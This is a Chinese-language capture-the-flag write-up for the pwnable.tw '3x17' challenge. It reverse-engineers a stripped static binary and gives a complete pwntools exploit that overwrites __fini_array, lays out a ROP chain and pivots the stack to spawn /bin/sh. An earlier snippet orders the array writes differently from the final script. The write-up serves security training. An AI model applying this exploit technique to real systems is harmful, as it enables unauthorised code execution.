0%

pwnable.tw writeup-3x17

学习与收获

  1. ida中,交叉引用X,对函数进行重命名N

  2. 程序最开始执行的是start函数,start调用__libc_start_main函数,然后程序执行__libc_csu_init函数,接着才执行main函数,最后执行__libc_csu_fini函数。__libc_start_main的函数原型是__libc_start_main(main,argc,ubp_av,init,fini,rtld_fini)

  3. __libc_csu_init函数中程序会执行_init,__init_array[0],__init_array[1]...__init_array[n],在__libc_csu_fini函数中程序会执行__fini_array[n]...__fini_array[1],__fini_array[0],_fini

保护

1

代码审计

寻找_main_函数

静态链接的程序,函数名符号表都被去除了,我们可以通过以下两种方法寻找main函数

运行程序可以发现关键字符串addr:,在ida中双击addr:

2

然后点击buf,并进行交叉引用X,如图0x401B6D就是main函数的地址

3

第二种方法其实就是去探究main是怎么出现的。

首先通过命令readelf -h 3x17,我们可以查看程序的人口地址,如图是0x401a50

4

可以用G,在ida中搜索地址,发现就是start函数的地址,故程序运行的第一个函数其实是start函数

5

将一个正常的程序的start函数,与该程序的start函数对比,可以发现二者几乎完全相同

6

public start
start proc near
; __unwind {
xor ebp, ebp
mov r9, rdx ;rtld_fini
pop rsi ;argc
mov rdx, rsp ;ubp_av
and rsp, 0FFFFFFFFFFFFFFF0h
push rax
push rsp ;stack_end
mov r8, offset sub_402960 ;fini
mov rcx, offset sub_4028D0 ;init
mov rdi, offset sub_401B6D ;main
db 67h
call sub_401EB0 ;__libc_start_main
hlt
; } // starts at 401A50
start endp

所以*__libc_start_main函数的原型如下,与此同时我们也就找到了main*函数

__libc_start_main(main,argc,ubp_av,init,fini,rtld_fini)
//这里说一下64位程序函数传参寄存器依次为:rdi,rsi,rdx,rcx,r8,r9,r10

最后我们可以用N,在ida中对函数进行重命名

分析___libc_csu_fini_函数

下面是*__libc_csu_fini*函数的汇编代码:

.text:0000000000402960 fini            proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0 #__fini_array
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: fini+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0] ;
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: fini+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp _term_proc
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C fini endp

__fini_array是一个数组,0x4b40f0是*__fini_array的首地址,在gdb调试的过程中,发现__libc_csu_fini这个函数其实就是先调用__fini_array[1],再执行__fini_array[0]*。

思路

​ 运行程序后程序让我们先输入一个地址,再输入数据,漏洞点可能是任意地址改写。而我们又知道*__libc_csu_fini函数会先执行__fini_array[1],再执行__fini_array[0],所以如果我们把main函数地址写到__fini_array[1]*中,程序是不是就会一直循环写入内容。

p.sendlineafter("addr:",str(0x4b40f8))
p.sendlineafter("data:",p64(0x401b6d))

试了一下后发现这样不行,后来发现还要把*__libc_csu_fini函数写到__fini_array[0]*中,如图,这样就可以一直循环写了。

p.sendlineafter("addr:",str(0x4b40f0))
p.sendlineafter("data:",p64(0x401b6d)+p64(0x402960))
#程序会先把main写到__fini_array[0],再把0x402960写到__fini_array[0]的下一个内存单元,即__fini_array[1]中

由于读入有字数限制,所以只能通过多次任意地址写在*__fini_array+0x10布置我们构造的rop链,然后我们再通过栈迁移,将栈迁移到_fini_array+0x10_上,去执行ROP*链。

还有一点,一开始我以p64()形式发送addr的时候,第二次读入read函数的rdi总是为0,但是以str()形式发送后就没问题了。

exp

from tools import *
# p = process('./3x17')
# context(arch='amd64',os='linux',log_level='debug')
p = remote("chall.pwnable.tw",10105)
# debug(p,0x402960,0x401BDC,0x401C29,0x401C13)
debug(p,0x401bdc)

pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x0000000000446e35
pop_rax = 0x000000000041e4af
syscall = 0x00000000004022b4
leave_ret = 0x0000000000401c4b
ret = 0x0000000000401016
fini_array0 = 0x4b40f0
fini_array1 = 0x4b40f8
main = 0x401b6d
fini = 0x402960
bss = 0x4B94A0
def attack(addr,data):
p.sendafter("addr:",str(addr))
p.sendafter("data:",data)
payload = p64(pop_rdi)+p64(bss)+p64(pop_rsi)
payload1 = p64(0)+p64(pop_rdx)+p64(0)
payload2 = p64(pop_rax)+p64(0x3b)+p64(syscall)

attack(fini_array0,p64(fini)+p64(main))
attack(bss,b'/bin/sh\x00')
attack(fini_array0+0x10,payload)
attack(fini_array0+0x28,payload1)
attack(fini_array0+0x40,payload2)
attack(fini_array0,p64(leave_ret)+p64(ret))

p.interactive()

拿到flag

7